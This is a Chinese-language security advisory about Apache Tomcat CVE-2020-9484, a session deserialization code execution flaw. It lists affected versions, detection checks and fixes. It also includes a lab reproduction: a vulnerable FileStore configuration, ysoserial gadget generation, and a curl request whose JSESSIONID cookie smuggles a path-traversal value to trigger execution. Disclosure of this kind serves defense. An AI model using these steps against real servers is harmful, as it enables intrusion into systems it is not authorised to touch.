微慑信息网

Apache Tomcat 反序列化代码执行漏洞(CVE-2020-9484)

漏洞概述

北京时间2020年05月20日,Apache官方发布了 Apache Tomcat 远程代码执行 的风险通告,该漏洞编号为 CVE-2020-9484。

Apache Tomcat 是一个开放源代码、运行servlet和JSP Web应用软件的基于Java的Web应用软件容器。当Tomcat使用了自带session同步功能时,使用不安全的配置(没有使用EncryptInterceptor)会存在反序列化漏洞,攻击者通过精心构造的数据包, 可以对使用了自带session同步功能的Tomcat服务器进行攻击。

成功利用此漏洞需要同时满足以下4个条件:

1.攻击者能够控制服务器上文件的内容和文件名称

2.服务器PersistenceManager配置中使用了FileStore

3.PersistenceManager中的sessionAttributeValueClassNameFilter被配置为“null”,或者过滤器不够严格,导致允许攻击者提供反序列化数据的对象

4.攻击者知道使用的FileStore存储位置到攻击者可控文件的相对路径

漏洞影响

【威胁等级】

中危

【影响版本】

  • Apache Tomcat 10.0.0-M1—10.0.0-M4
  • Apache Tomcat 9.0.0.M1—9.0.34
  • Apache Tomcat 8.5.0—8.5.54
  • Apache Tomcat 7.0.0—7.0.103

漏洞复现

漏洞环境可以在本地搭建或者使用docker环境

【本地环境搭建】

  1. 官网下载漏洞版本链接:archive.apache.org/dist
  2. 配置tomcat的conf/context.xml文件:

<Context>

<Manager className=”org.apache.catalina.session.PersistentManager”

debug=”0″

saveOnRestart=”false”

maxActiveSession=”-1″

minIdleSwap=”-1″

maxIdleSwap=”-1″

maxIdleBackup=”-1″>

<Store className=”org.apache.catalina.session.FileStore” directory=”./session” />

</Manager>

</Context>

3. 部署一个存在以下依赖的webapp(一个存在commons-collections4的jar依赖的web服务,例poc.war)到tomcat:

dependencies {

compile ‘org.apache.commons:commons-collections4:4.0’

}

【docker环境搭建】

$ git clone github.com/masahiro331/

$ cd CVE-2020-9484

$ docker build -t tomcat:groovy .

$ docker run -d -p 8080:8080 tomcat:groovy

【本地环境验证】

1、使用ysoserial工具生成commons-collections4依赖的gadget恶意序列化数据(这个启用了session持久化功能FileStore是持久化的漏洞,还可以通过配置conf/server.xml文件,不过是利用session集群同步进行利用,参考:github.com/threedr3am/t

2、通过有缺陷的文件上传功能把恶意序列化数据文件上传到任意目录(后缀必须是“.session”)

3、发起恶意请求,请求payload。

结果显示漏洞存在。

【docker环境验证】

执行以下命令进行利用

curl ‘127.0.0.1:8080/index.js‘ -H ‘Cookie: JSESSIONID=../../../../../usr/local/tomcat/groovy’

运行结果检查:

在tmp下创建rce目录,漏洞存在。

漏洞检测

【版本检查】

从Apache Tomcat官网下载的安装包名称中会包含Tomcat的版本号,如果解压后没有更改目录名,可通过查看文件夹名称来确定当前使用的版本;

如果解压后目录名称被修改过,或者通过Windows Service Installer方式安装,可使用软件自带的version模块来获取当前的版本。也可以进入Tomcat安装目录的bin目录,运行version.bat(Linux运行version.sh)后,可查看当前的软件版本号。

【配置检查】

查看conf/context.xml文件或具体项目的server.xml文件中,是否存在以下<Manager>节点

若当前版本在受影响范围内且在PersistenceManager配置中使用了FileStore,则可能存在安全风险。

修复建议

【通用修补】

目前官方已在最新版本中修复了该漏洞,官方下载链接:

【临时修补】

禁止使用Session持久化功能FileStore。(或单独配置sessionAttributeValueClassNameFilte的值确保只有特定属性的对象可以被序列化与反序列化)

参考链接:

tomcat.apache.org/secur

github.com/threedr3am/t

拓展阅读(点评/知识):

概况

Apache Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器。攻击者可能可以构造恶意请求,造成反序列化代码执行漏洞。成功利用该漏洞需要同时满足下列四个条件:

1. 攻击者能够控制服务器上文件的内容和名称

2. 服务器PersistenceManager配置中使用了FileStore

3. 服务器PersistenceManager配置中设置了sessionAttributeValueClassNameFilter为NULL,或者使用了其他较为宽松的过滤器,允许攻击者提供反序列化数据对象

4. 攻击者知道使用的FileStore存储位置到可控文件的相对文件路径。

整体利用条件较为苛刻,实际危害相对较低,为彻底防止漏洞潜在风险,白帽汇安全研究院仍建议Apache Tomcat用户修复漏洞。

本文标题:Apache Tomcat 反序列化代码执行漏洞(CVE-2020-9484)
本文链接:
(转载请附上本文链接)
http://vulsee.com/archives/vulsee_2020/0527_11211.html
转载请附本站链接,未经允许不得转载,,谢谢:微慑信息网-VulSee.com » Apache Tomcat 反序列化代码执行漏洞(CVE-2020-9484)
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

微慑信息网 专注工匠精神

访问我们联系我们